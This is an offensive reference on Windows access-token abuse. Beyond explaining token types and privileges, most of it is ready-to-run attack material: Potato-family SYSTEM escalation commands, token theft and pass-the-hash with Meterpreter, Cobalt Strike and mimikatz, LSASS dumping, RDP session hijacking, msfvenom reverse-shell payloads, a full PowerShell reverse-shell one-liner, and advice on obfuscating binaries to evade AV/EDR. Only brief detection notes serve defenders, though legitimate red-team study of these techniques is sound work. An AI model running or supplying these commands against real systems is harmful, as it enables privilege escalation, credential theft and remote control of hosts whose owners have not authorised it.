A consolidated reference on Windows access token theory and every major exploitation path built on top of it: privilege abuse, impersonation, named pipes, and the Potato family. Built from the Potato Attacks, PowerShell Offensive Tools, and Windows Privilege Escalation references.
1. Core Concept — What Is a Token?
A Windows access token is the kernel object attached to every process/thread that defines who it is and what it's allowed to do. It's issued at logon and carries:
- User SID — the identity the token represents
- Group SIDs — group memberships (Domain Admins, Administrators, etc.)
- Privileges — special rights like
SeDebugPrivilege,SeImpersonatePrivilege - Integrity level — Low / Medium / High / System
- Token type — Primary or Impersonation
Every privilege escalation technique that doesn't rely on a memory-corruption bug or a misconfigured file/service ACL eventually comes back to abusing a token — either a privilege embedded in your own token, or a better token you can steal/impersonate from another process.
┌──────────────────────────────────────────────────────────────┐
│ Token abuse → SeImpersonate / SeAssignPrimaryToken → SYSTEM │
└──────────────────────────────────────────────────────────────┘
1.1 Primary Token vs Impersonation Token
| Type | Description |
|---|---|
| Primary Token | Attached to a process at creation. Defines the security context of everything that process does. Only one primary token per process. |
| Impersonation Token | Attached to a thread, temporarily borrowed from another security context (e.g. a connecting client). Lets a thread act as someone else without replacing the process's primary token. |
Impersonation levels (lowest to highest capability):
| Level | Capability |
|---|---|
SecurityAnonymous |
No impersonation |
SecurityIdentification |
Can inspect identity, cannot act as the user |
SecurityImpersonation |
Can act as the user on the local system — this is the one attackers need |
SecurityDelegation |
Can act as the user on local and remote systems |
SeImpersonatePrivilege grants the ability to obtain and use SecurityImpersonation level tokens from clients that connect to you (via a named pipe, RPC, DCOM, etc.).
2. High-Value Token Privileges
Run this first, always:
whoami /priv
# PowerSploit / PowerView equivalents
Get-ProcessTokenGroup # Current process token groups
Get-ProcessTokenPrivilege # Current token privileges
Get-ProcessTokenPrivilege | Where-Object { $_.TokenPrivilege -match "SeImpersonate" }
# Seatbelt
.\Seatbelt.exe TokenPrivileges
2.1 Privilege → Attack Map
| Privilege | What It Allows | Escalation Path |
|---|---|---|
SeImpersonatePrivilege |
Impersonate a client after it authenticates to you | Potato family → SYSTEM |
SeAssignPrimaryTokenPrivilege |
Replace the primary token of a new process (CreateProcessAsUser) |
Same Potato family → SYSTEM |
SeDebugPrivilege |
Open a handle to any process, including SYSTEM ones | Migrate into SYSTEM process / dump LSASS |
SeCreateTokenPrivilege |
Forge a brand-new token with arbitrary SIDs/privileges | Craft a SYSTEM/Domain Admin token directly |
SeTakeOwnershipPrivilege |
Take ownership of any securable object, bypassing ACL | Own + overwrite utilman.exe, services, etc. |
SeBackupPrivilege |
Read any file, ignoring ACLs (backup semantics) | Read SAM/SYSTEM hives, NTDS.dit |
SeRestorePrivilege |
Write any file, ignoring ACLs (restore semantics) | Plant a malicious DLL/binary anywhere |
SeLoadDriverPrivilege |
Load a kernel-mode driver | Load a malicious/vulnerable signed driver → kernel exec |
SeManageVolumePrivilege |
Direct raw disk access | Read locked files like NTDS.dit off the volume directly |
Which accounts typically hold SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege
by design:
IIS APPPOOL\*NT AUTHORITY\NETWORK SERVICENT AUTHORITY\LOCAL SERVICE- SQL Server service accounts (
MSSQLSERVER,SQLSERVERAGENT)
You usually land in one of these contexts after a web shell, SQLi RCE, or other low-privileged service compromise — which is exactly why Potato attacks are the default next step.
3. Token Impersonation — Taxonomy & Techniques
MITRE groups almost everything in this note under T1134 — Access Token Manipulation. It's worth knowing the formal taxonomy because tool authors (Cobalt Strike, Rubeus, incognito) use these exact terms and the distinctions matter for which primitive/privilege each one needs.
┌───────────────────────────────┐
│ Access Token Manipulation │
└───────────────┬───────────────┘
│
┌────────────────┬──────────┼──────────┬─────────────────┐
│ │ │ │
Token Duplication Token Theft MakeToken / Pass-the-Token
(DuplicateToken/ (steal an existing Pass-the-Hash (reuse a captured/
Ex + Impersonate process's token (new LOGON forged token or
LoggedOnUser) wholesale) session from Kerberos ticket
creds/hash) on another host)
3.1 Token Duplication
Concept: duplicate an existing token (yours or one you already have a handle to) into a new token object, then either impersonate it on the current thread or attach it to a new process. This is distinct from token theft in that duplication is often used on your own elevated token — the classic example is the UAC bypass via token duplication, where a medium-integrity admin token is duplicated into a new high-integrity primary token without a consent prompt.
APIs: DuplicateToken / DuplicateTokenEx → ImpersonateLoggedOnUser or
SetThreadToken.
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)
CreateProcessWithTokenW(hNewToken, ...) // or CreateProcessAsUserW
:: TokenPlayer — token duplication UAC bypass
TokenPlayer.exe --pwnuac --spawn
TokenPlayer.exe --pwnuac --prog "C:\Windows\System32\cmd.exe"
:: Cobalt Strike — built-in UAC bypass module using this exact primitive
beacon> elevate uac-token-duplication [listener]
Key nuance: a primary token replaces the whole process identity; an impersonation token only changes what the current thread looks like to the OS.
CreateProcessWithTokenWneeds the caller to already holdSeImpersonatePrivilege; if that fails with error 1314, fall back toCreateProcessAsUserW(needsSeAssignPrimaryTokenPrivilegeinstead).
3.2 Token Theft
Concept: you already hold (or can obtain) a handle to another process's primary token and duplicate it wholesale, rather than crafting a new logon session. Requires you to already be in a privileged context (local admin at minimum) — you're not creating new credential material, you're stealing a token that already exists in memory.
OpenProcess(PROCESS_QUERY_INFORMATION, ..., targetPID)
OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)
DuplicateTokenEx(hToken, ..., TokenPrimary, &hNewToken)
CreateProcessWithTokenW(hNewToken, ..., "cmd.exe", ...)
:: Metasploit / Meterpreter — incognito (see 5.1) is the point-and-click version
meterpreter > steal_token <PID>
:: Cobalt Strike
beacon> steal_token <PID>
beacon> rev2self # revert back to Beacon's original token
Common targets: lsass.exe, winlogon.exe (SYSTEM), or any process owned by a higher-privileged user you can see in ps/tasklist. This is exactly the primitive behind SYSTEM Token Theft and TrustedInstaller Token Theft below — same mechanic, different target process.
3.3 MakeToken
Concept: create a new logon session from a set of plaintext credentials (or an NTLM hash for pass-the-hash) and attach it to a copy of your current token, purely for outbound network authentication. This does not change your local whoami — it only swaps the credential material used when you touch a remote resource (SMB share, WinRM, etc.). Functionally identical to runas /netonly.
:: Cobalt Strike
beacon> make_token CORP\svc_backup Str0ngP@ss!
beacon> ls \\fileserver\share$ # authenticates as svc_backup remotely
beacon> rev2self # clear the network-only token
:: Native equivalent
runas /netonly /user:CORP\svc_backup cmd.exe
:: Rubeus — network-only logon session without touching LSASS
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CORP.LOCAL /username:svc_backup /password:Str0ngP@ss!
OPSEC note:
make_token/runas /netonlygenerate Windows Event ID 4624 (logon type 9 —NewCredentials). Whoami on the local box still shows your original identity; only remote auth uses the new creds.
3.4 Pass-the-Token
Concept: the general pattern of reusing a token/ticket you already captured or forged, rather than credentials, to authenticate — the umbrella term for reusing Kerberos tickets (.kirbi), NT hashes via pth, or literal stolen token handles across a session, tool, or even a different host via ticket injection.
:: Pass-the-hash → token (mimikatz)
sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:<HASH> /run:cmd.exe
:: Cobalt Strike — combines MakeToken + PtH into one step; spawns a temp process to
:: generate AND impersonate the resulting token
beacon> pth CORP\Administrator 97fc053bc0b23588798277b22540c40d
beacon> pth <PID> <x86|x64> CORP\Administrator 97fc053bc0b23588798277b22540c40d # inject into existing proc
:: Pass-the-ticket (Kerberos) — Rubeus
Rubeus.exe ptt /ticket:<base64_kirbi>
klist # confirm ticket is loaded
:: Cobalt Strike Kerberos tray
beacon> kerberos_ticket_use C:\loot\ticket.kirbi
Every credential-reuse lateral movement technique — Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash — ultimately resolves to a token being attached to a process or thread. Pass-the-Token is the name for that final step when the "credential" you're reusing is already token-shaped (e.g. a steal_token capture moved to a different beacon/session) rather than a raw hash or ticket.
4. Named Pipe Impersonation — The Core Mechanic
Named pipes are Windows' IPC mechanism. If a privileged process (e.g. a SYSTEM service) connects to a named pipe you control, the pipe server side can call ImpersonateNamedPipeClient() and inherit the client's token — including SYSTEM.
Attacker (low-priv, SeImpersonate) creates a named pipe server
↓
Trick/coerce a SYSTEM service into connecting to that pipe
↓
ImpersonateNamedPipeClient() → attacker thread now holds SYSTEM impersonation token
↓
DuplicateTokenEx() → convert to primary token
↓
CreateProcessWithTokenW() → spawn cmd.exe / your payload as SYSTEM
This is the exact mechanic underlying every Potato variant — the only thing that differs between them is how they coerce a SYSTEM-level component into connecting.
Manual hunting for candidate pipes:
Process Monitor → filter: Operation = "Connect Pipe", Path = \\.\pipe\*
→ If a SYSTEM process connects to a pipe you control, impersonation is possible
5. The Potato Family — Full Breakdown
Every Potato attack is the same primitive with a different coercion method:
Service account shell (IIS / MSSQL / web shell, holding SeImpersonate)
↓
Trick a SYSTEM-level component into authenticating to you
(via DCOM, RPC, Named Pipe, EFS, Print Spooler, AppX, ADCS, RasMan...)
↓
Capture its token / NTLM authentication
↓
Impersonate SYSTEM → spawn SYSTEM shell
5.1 Overview Table
| Attack | Core Technique | Works On | Needs CLSID | Needs Network | SeImpersonate Required | Status |
|---|---|---|---|---|---|---|
| RottenPotato | DCOM + NTLM relay | Win7 / Server 2008 | Yes | No | Yes | Deprecated |
| JuicyPotato | DCOM object abuse | Win7–Win10 ≤1803 | Yes | No | Yes | Mostly patched |
| RoguePotato | RPC + OXID resolver | Win10 1809+ / 2016+ | No | Yes | Yes | Limited use |
| PrintSpoofer | Print Spooler named pipe | Win10 / 2016+ / 2019 | No | No | Yes | Very reliable |
| SweetPotato | Multi-method (DCOM+EFS+Spooler) | Mixed | Optional | No | Yes | Flexible |
| GodPotato | NTLM reflection via RPC | Win10 1809+ / 2019 / 2022 / Win11 | No | No | Yes | Modern & reliable |
| EfsPotato | EFS RPC coercion (MS-EFSR) | Win10+ / Server 2016+ | No | No | Yes | Reliable |
| PetitPotato | EfsRpc local coercion | Win10+ / Server 2016+ | No | No | Yes | Reliable |
| PrintNotifyPotato | Print Notify RPC coercion | Win10+ / Server 2016+ | No | No | Yes | Good fallback |
| AppxPotato | AppX Deployment Service | Win10 / Win11 desktop | No | No | Yes | Desktop-focused |
| ADCSCoercePotato | ADCS HTTP enrollment coercion | Domain w/ ADCS | No | Partial | Yes | AD-specific |
| RasManPotato | RasMan RPC coercion | Win10+ / Server 2016+ | No | No | Yes | Good fallback |
| RemotePotato0 | DCOM cross-session token theft | Win10+ (multi-user) | No | Yes | Admin req. | Lateral movement |
| LocalPotato | NTLM reflection — no SeImpersonate | Win10/11 / 2019/2022 (unpatched) | No | No | No | CVE-2023-21746 |
| CandyPotato | DCOM + named pipe hybrid | Win10 / Server 2019+ | Optional | No | Yes | Modern variant |
| BravePotato | DCOM IRemUnknown2 coercion | Win10 / Server 2016+ | No | No | Yes | Niche use |
| DeadPotato | Task Scheduler / deprecated COM | Win10+ | No | No | Yes | Situational |
| MultiPotato | Multi-trigger framework | Wide range | No | No | Yes | Flexible framework |
| SigmaPotato | RPC coercion (Server 2022 focused) | Win11 / Server 2022 | No | No | Yes | Cutting edge |
| GenericPotato | SDK for custom Potato exploits | Any | Configurable | Configurable | Yes | Research/Custom |
5.2 Coercion Method Categories
DCOM Activation (legacy / partially patched) — RottenPotato, JuicyPotato, CandyPotato, BravePotato
Trigger COM object activation via CLSID or IRemUnknown2
→ SYSTEM authenticates to activate/negotiate the object
→ Token / NTLM captured → SYSTEM exec
Named Pipe / Service Coercion (reliable modern) — PrintSpoofer, PrintNotifyPotato, EfsPotato, PetitPotato, RasManPotato, DeadPotato, AppxPotato
Create fake named pipe
→ Trigger SYSTEM service to connect via legitimate API call
→ ImpersonateNamedPipeClient() → SYSTEM token
NTLM Reflection via RPC/OXID (modern) — RoguePotato, GodPotato, SigmaPotato
Trigger SYSTEM NTLM auth via RPC/OXID interface
→ Reflect/relay auth to local privileged endpoint
→ SYSTEM token obtained
Cross-Session Token Theft (lateral movement) — RemotePotato0
Abuse DCOM in another user's session
→ Steal NTLMv2 hash of logged-in privileged user
→ Crack or relay for domain escalation
CVE-Based (no privilege required) — LocalPotato (CVE-2023-21746)
Standard user triggers NTLM reflection via Storage Broker COM
→ No SeImpersonate needed
→ SYSTEM exec from regular user account (unpatched systems only)
5.3 RottenPotato (historical)
Original Potato — DCOM activation forces SYSTEM to authenticate to a fake local COM server; NTLM is relayed locally via CreateProcessWithToken.
whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64_payload>"
Requires: SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege, DCOM+NTLM enabled, Windows 7 / Server 2008. Deprecated — historical reference only.
5.4 JuicyPotato
Uses a CLSID to activate a SYSTEM-run COM object, sets up a fake local COM server, and captures the resulting NTLM auth.
# Find CLSIDs on the target
Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Select-Object PSChildName
# Full CLSID list per OS: https://github.com/ohpe/juicy-potato/tree/master/CLSID
whoami /priv
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
:: Add admin user
JuicyPotato.exe -t * -p cmd.exe -a "/c net user hacker P@ssw0rd! /add" -l 9999 -c {CLSID}
JuicyPotato.exe -t * -p cmd.exe -a "/c net localgroup administrators hacker /add" -l 9999 -c {CLSID}
:: Reverse shell
JuicyPotato.exe -t * -p C:\Windows\Temp\shell.exe -l 9999 -c {CLSID}
:: Common CLSIDs
:: Server 2016: {4991D34B-80A1-4291-83B6-3328366B9097}
:: Win10 1803: {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
| Flag | Meaning |
|---|---|
-t * |
Try both CreateProcessWithToken and CreateProcessAsUser |
-p |
Program to execute |
-a |
Arguments |
-l |
Local port for fake COM server |
-c |
CLSID |
Requires: SeImpersonatePrivilege, valid CLSID, DCOM enabled. Works on Win7/8/10 ≤1803, Server 2008/2012/2016. Mostly patched on modern builds.
5.5 RoguePotato
Post-JuicyPotato-patch technique — abuses the OXID resolver instead of DCOM directly. Needs network connectivity from target → attacker.
# Attacker
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 &
nc -lvnp 4444
:: Target
RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe /c whoami" -l 9999
Requires: SeImpersonatePrivilege, target→attacker TCP 135, socat on attacker, Win10 1809+/Server 2016+. Firewalled environments will block this.
5.6 PrintSpoofer (very reliable)
Abuses the Print Spooler's named pipe (ImpersonateNamedPipeClient). No CLSID, no network dependency — just needs the Spooler service running.
whoami /priv
sc query spooler
PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -c "cmd /c whoami"
Requires: SeImpersonatePrivilege, Spooler service running. Works Win10/2016+/2019. First choice on many modern engagements when Spooler is up.
5.7 GodPotato (first choice, modern)
NTLM reflection via RPC — no setup, no CLSID, works across the widest modern range.
whoami /priv
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c powershell -enc <base64>"
Works: Win10 1809+ / Server 2019 / Server 2022 / Win11. Default first pick on modern targets — no service dependency to check first.
5.8 EfsPotato / PetitPotato
EFS RPC (MS-EFSR) coercion — a fallback when Spooler is disabled.
EfsPotato.exe "whoami"
EfsPotato.exe "net user hacker P@ss123! /add && net localgroup administrators hacker /add"
PetitPotato.exe <pipe_name> <cmd_to_run>
Works: Win10+/Server 2016+. Reliable Spooler alternative.
5.9 Other named-pipe/coercion variants
PrintNotifyPotato → Print Notify RPC coercion (Spooler disabled fallback)
AppxPotato → AppX Deployment Service (desktop editions only, AppXSvc)
RasManPotato → RasMan RPC coercion (both EFS + Spooler disabled)
DeadPotato → Task Scheduler / deprecated COM
SigmaPotato → RPC coercion focused on Server 2022 / Win11
ADCSCoercePotato → ADCS HTTP enrollment coercion (domain w/ ADCS only)
5.10 RemotePotato0 (post-SYSTEM lateral movement)
Different goal — once you're already SYSTEM, abuses DCOM in another logged-in user's session to steal their NTLMv2 hash for cracking/relay.
:: Verify other sessions exist first
query session
Requires: SYSTEM/admin, another user session present, target→attacker TCP 135.
5.11 LocalPotato (no SeImpersonate needed)
CVE-2023-21746 — NTLM reflection through the Storage Broker COM interface. The outlier: works from a standard user, no SeImpersonatePrivilege required, but only on unpatched systems (pre-KB5022282, Jan 2023).
5.12 Selection Flowchart
Confirm SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege → whoami /priv
│
├── Win7 / Server 2008
│ → RottenPotato (historical) / JuicyPotato
│
├── Win10 ≤1803 / Server 2012–2016
│ → JuicyPotato (find working CLSID)
│ → PrintSpoofer (sc query spooler → RUNNING?)
│ → EfsPotato / PetitPotato
│
├── Win10 ≥ 1809 / Server 2019
│ → GodPotato (first choice, no setup)
│ → PrintSpoofer (if Spooler running)
│ → EfsPotato / PetitPotato (Spooler disabled?)
│ → RoguePotato (if network to attacker available)
│
├── Server 2022 / Windows 11
│ → GodPotato (first choice)
│ → PrintSpoofer (if Spooler running)
│ → SigmaPotato (if GodPotato fails)
│ → PrintNotifyPotato (Spooler disabled but PrintNotify up)
│ → RasManPotato (EFS + Spooler both disabled)
│
├── Domain-joined + ADCS HTTP accessible
│ → ADCSCoercePotato
│
├── Already SYSTEM + other user sessions present
│ → RemotePotato0 (steal domain user NTLM hash)
│
├── Desktop Win10/Win11 (workstation target)
│ → AppxPotato (AppXSvc always present on desktops)
│
└── Unknown / multiple methods blocked
→ MultiPotato (tries all coercion methods)
→ SweetPotato (DCOM + EFS + Spooler)
5.13 Full Requirements Summary
| Requirement | Needed For |
|---|---|
SeImpersonatePrivilege |
ALL Potatoes except LocalPotato |
| None — standard user | LocalPotato (CVE-2023-21746, unpatched only) |
| DCOM enabled | JuicyPotato, RottenPotato, CandyPotato, BravePotato |
| Valid CLSID | JuicyPotato, CandyPotato (optional) |
| Print Spooler running | PrintSpoofer |
| Print Notify interface | PrintNotifyPotato |
| EFS/lsass accessible | EfsPotato, PetitPotato |
| NTLM + RPC available | GodPotato, RoguePotato, SigmaPotato |
| Network: target → attacker TCP 135 | RoguePotato, RemotePotato0 |
| AppXSvc running (desktop editions) | AppxPotato |
| RasMan running | RasManPotato |
| Task Scheduler running | DeadPotato |
| Domain + ADCS HTTP accessible | ADCSCoercePotato |
| Another user session present | RemotePotato0 |
| System unpatched (pre-Jan 2023) | LocalPotato |
5.14 Troubleshooting
| Symptom | Likely Cause | Fix |
|---|---|---|
Access is denied on execution |
AV/EDR blocking binary | Rename binary, obfuscate, use certutil download |
| JuicyPotato exits silently | Wrong CLSID for OS | Try other CLSIDs from the repo list |
PrintSpoofer: CreateNamedPipe failed |
Spooler not running | Try PrintNotifyPotato or GodPotato |
GodPotato: CoCreateInstance failed |
NTLM disabled or RPC blocked | Try PrintSpoofer / SigmaPotato |
| RoguePotato hangs | TCP 135 blocked by firewall | Use local-only method (GodPotato, EfsPotato) |
| EfsPotato / PetitPotato silent fail | EFS RPC path blocked via GPO | Try RasManPotato or DeadPotato |
| LocalPotato fails | Patched (KB5022282+) | Requires SeImpersonate — switch to service account context |
No SeImpersonatePrivilege at all |
Standard user / not a service account | Try LocalPotato if unpatched; otherwise different privesc path |
| All methods fail (hardened target) | Multiple services disabled | Try MultiPotato (enumerates all available paths) |
| RemotePotato0 no hash captured | No other sessions open | Verify via query session; wait or pivot differently |
| AppxPotato fails | Server edition (no Store/AppX) | AppXSvc disabled on Servers — try other method |
6. Token Theft & Impersonation Tooling (post-foothold)
Beyond Potato-style coercion, once you have SYSTEM or elevated code execution on a box, you can directly enumerate and steal already-existing tokens from other logged-on users (including cached Domain Admin sessions).
6.1 Metasploit / Meterpreter — Incognito
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\DomainAdmin"
meterpreter > getuid # should show DOMAIN\DomainAdmin
# Spawn a shell as the impersonated user
meterpreter > shell
whoami
If you're SYSTEM on a domain-joined machine and a Domain Admin has an active session (RDP, scheduled task, service) on that box, their token is available to impersonate directly — no cracking required.
6.2 PowerSploit — Invoke-TokenManipulation
Import-Module C:\Tools\PowerSploit\Exfiltration\Invoke-TokenManipulation.ps1
# List available logon tokens
Invoke-TokenManipulation -Enumerate
# Create a process as another user using their token
Invoke-TokenManipulation -Username "corp\Administrator" -CreateProcess "cmd.exe"
# Impersonate a token in the current thread
Invoke-TokenManipulation -ImpersonateUser -Username "corp\Administrator"
6.3 SharpSploit — Impersonate()
Library-level primitive (used programmatically or via a C2 like Covenant):
SharpSploit.Credentials.Tokens.Impersonate() → token impersonation
Typical C2 usage:
GruntTask: SharpSploit.Credentials.Mimikatz.LogonPasswords()
GruntTask: SharpSploit.Execution.Shell.ShellExecute("whoami")
6.4 SeDebugPrivilege → Process Token / LSASS Access
SeDebugPrivilege lets you open a handle to any process, including SYSTEM-owned ones — used both to migrate into a SYSTEM process (grabbing its token) and to dump LSASS for credential material.
:: Metasploit: migrate to a SYSTEM process, then
getsystem
run post/windows/gather/hashdump
:: procdump (Sysinternals)
procdump.exe -ma lsass.exe lsass.dmp
:: mimikatz → sekurlsa::minidump lsass.dmp → sekurlsa::logonpasswords
:: LOLBAS-style dump, no extra binary needed
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <lsass_PID> C:\loot\lsass.dmp full
6.5 SeCreateTokenPrivilege — Token Forging
The most powerful (and rarest) of the bunch. If held, lets you call NtCreateToken/ZwCreateToken to fabricate a token with arbitrary SIDs and privileges — effectively minting your own SYSTEM or Domain Admin token from scratch, no coercion required. Rarely granted outside of very specific service contexts; if you see it in whoami /priv, treat it as an immediate SYSTEM path.
7. Advanced Token Theft Scenarios
7.1 SYSTEM Token Theft
Concept: the specific, most common application of Token Theft (3.2) — your target is a process already running as NT AUTHORITY\SYSTEM (winlogon.exe, lsass.exe, services.exe, a SYSTEM-owned service host). This is the actual mechanic underneath getsystem in Meterpreter and every "named pipe → SYSTEM" Potato attack: at the lowest level, all of them end
with a SYSTEM token being duplicated and attached to your process.
:: Requires SeDebugPrivilege to open a handle to a SYSTEM process at all
whoami /priv | findstr /i debug
:: Metasploit
getsystem # tries several named-pipe/token techniques automatically
getsystem -t 1 # force a specific technique (see getsystem -h)
:: Manual: pick any SYSTEM PID and steal its token
tasklist /v | findstr "SYSTEM"
meterpreter > steal_token <SYSTEM_PID>
:: Cobalt Strike
beacon> ps
beacon> steal_token <SYSTEM_PID> # e.g. winlogon.exe
beacon> getuid # confirm NT AUTHORITY\SYSTEM
winlogon.exe is the classic target — it always runs as SYSTEM in the interactive session and its token has SecurityImpersonation level, which is exactly what's needed.
7.2 TrustedInstaller Token Theft
Concept: TrustedInstaller (the Windows Modules Installer service, SID group NT SERVICE\TrustedInstaller) owns even more of the filesystem/registry than SYSTEM — used to modify protected system files (e.g. deleting Defender, patching protected binaries). Getting a TrustedInstaller token is a two-hop problem:
Administrator
│ (SeDebugPrivilege + steal a SYSTEM token first)
▼
NT AUTHORITY\SYSTEM
│ (open the TrustedInstaller service process, duplicate ITS token)
▼
NT SERVICE\TrustedInstaller
You cannot jump straight from Administrator to TrustedInstaller — the ACL on the TrustedInstaller token only grants TOKEN_QUERY to non-SYSTEM callers, which is not enough to duplicate it. You must be SYSTEM first.
:: 1. Start the TrustedInstaller service (it's stopped by default)
sc start TrustedInstaller
:: 2. Classic PsExec approach — spawn a SYSTEM shell as a child of TrustedInstaller
PsExec64.exe -i -s -d "C:\Windows\System32\cmd.exe"
:: then from that SYSTEM shell, launch a process with -sid TrustedInstaller equivalent
:: (PsExec's -s alone only gets you SYSTEM, not TI, on its own)
:: Common practical route: NSudo / RunAsTI-style tools
NSudoLC.exe -U:T -P:E cmd.exe # -U:T = run as TrustedInstaller user, -P:E = enable all privileges
:: Programmatic route (what NSudo/RunAsTrustedInstaller-type tools do under the hood)
1. OpenSCManager + OpenService("TrustedInstaller") + StartService()
2. OpenProcess() on the resulting TrustedInstaller.exe PID — requires SYSTEM
3. OpenProcessToken(..., TOKEN_DUPLICATE)
4. DuplicateTokenEx(..., TokenPrimary, &hTIToken)
5. CreateProcessAsUserW(hTIToken, ..., "cmd.exe", ...)
Use cases: deleting/disabling Defender components, modifying files owned by TrustedInstaller in C:\Windows, removing "undeletable" protected registry keys.
7.3 Session Token Hijacking (RDP Session Hijacking)
Concept: distinct from process token theft — this hijacks another user's active or disconnected Terminal Services/RDP session using the native tscon.exe utility. When run with NT AUTHORITY\SYSTEM privileges, tscon does not prompt for the target session's password, so a SYSTEM-level foothold lets you seamlessly take over any logged-on user's desktop —
including a Domain Admin's cached RDP session — without ever touching their credentials.
:: 1. Enumerate sessions on the box
query user
:: or
qwinsta
:: 2. Escalate to SYSTEM first (PsExec, a service, a scheduled task — anything)
PsExec64.exe -i -s cmd.exe
:: 3. From a SYSTEM context, hijack target session ID into your own session
:: (no password prompt because the caller is SYSTEM)
tscon.exe <TARGET_SESSION_ID> /dest:<YOUR_SESSION_NAME>
:: Common one-shot version via a throwaway service (also runs as SYSTEM)
sc create sesshijack binpath= "cmd.exe /k tscon <SESSION_ID> /dest:rdp-tcp#1"
net start sesshijack
:: SharpRDPHijack — no password needed if run elevated; impersonates SYSTEM automatically
SharpRDPHijack.exe --tsquery=<host> # enumerate sessions
SharpRDPHijack.exe --session=<ID> --console # hijack into console session
Notes:
- The original user is kicked out without warning — there's no confirmation prompt, which makes this noisy from the victim's side even though it's stealthy from a credential-theft perspective.
- Works on disconnected sessions too — a Domain Admin who RDP'd in and disconnected (without logging off) is a live target.
- MITRE:
T1563.002— Remote Service Session Hijacking: RDP Hijacking. - Detection: Event IDs
4778/4779(session reconnect/disconnect) and process creation oftscon.exeunder a SYSTEM parent are the key telemetry to watch for on defense; worth knowing both directions for CTF writeups and for understanding blue-team detections.
7.4 Access Token Privilege Manipulation
Concept: rather than stealing or duplicating a whole token, this technique enables privileges that already exist on your current token but are disabled by default. Many privileges are present-but-disabled on a token (whoami /priv shows Disabled in the State column) — Windows grants the privilege at logon but requires an explicit AdjustTokenPrivileges call
to turn it on before use. This is not privilege escalation in the sense of getting a new identity — it's unlocking capability you already technically hold.
:: Check State column — Disabled privileges are still yours, just inactive
whoami /priv
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
// Win32 API — enable a disabled privilege on your own token
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
# PowerSploit / PowerUp equivalent
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeDebugPrivilege
:: Metasploit
meterpreter > use priv
meterpreter > getsystem
This is a mandatory prerequisite step before most of the SeDebug/SeBackup/SeRestore/SeImpersonate techniques elsewhere in this note — whoami /priv showing a privilege as present is not enough; if the State is Disabled,
enable it first or the corresponding API call will fail with ERROR_PRIVILEGE_NOT_HELD even though you technically have the right.
8. Consolidated Privilege → Attack Quick Map
SeImpersonatePrivilege → GodPotato / PrintSpoofer / JuicyPotato / SweetPotato
SeAssignPrimaryTokenPrivilege → GodPotato / SweetPotato
SeDebugPrivilege → LSASS dump / process injection / getsystem
SeCreateTokenPrivilege → forge a token with any privileges directly
SeTakeOwnershipPrivilege → take ownership of SAM/SYSTEM/utilman.exe
SeBackupPrivilege → robocopy /B to read SAM/SYSTEM/NTDS.dit
SeRestorePrivilege → write any file, ignoring ACL (plant DLL in System32)
SeLoadDriverPrivilege → load a malicious/vulnerable kernel driver
SeManageVolumePrivilege → direct disk read → NTDS.dit
9. Payload Generation Reference
# x64 reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
# x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
# Staged Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o meter.exe
# Add admin user, no listener needed
msfvenom -p windows/adduser USER=hacker PASS=Pass123! -f exe -o adduser.exe
PowerShell one-liner (no binary — feed via -a/-cmd flags to Potato tools):
$c=New-Object Net.Sockets.TCPClient('<IP>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}
Encode for -cmd/-enc flags:
echo -n '<PS_ONE_LINER>' | iconv -t UTF-16LE | base64 -w 0
# Use as: powershell -enc <BASE64_OUTPUT>
10. TL;DR Cheat Sheet
1. whoami /priv → find your token privileges first, always
2. SeImpersonate / SeAssignPrimaryToken present?
Win10 1809+/2019/2022/Win11 → GodPotato (default first try)
Spooler running → PrintSpoofer
Spooler disabled → EfsPotato / PetitPotato / PrintNotifyPotato
Need network coercion → RoguePotato
Old Win7/2008 → RottenPotato / JuicyPotato (CLSID)
Nothing works → MultiPotato / SweetPotato (try everything)
3. SeDebugPrivilege present? → dump LSASS / migrate into SYSTEM process
4. SeBackupPrivilege present? → robocopy /B → SAM/SYSTEM/NTDS.dit offline
5. Already SYSTEM, need lateral? → Incognito list_tokens/impersonate_token
or RemotePotato0 for other sessions
or tscon.exe → hijack another user's RDP session
6. SeCreateTokenPrivilege? → forge a token directly, skip everything else
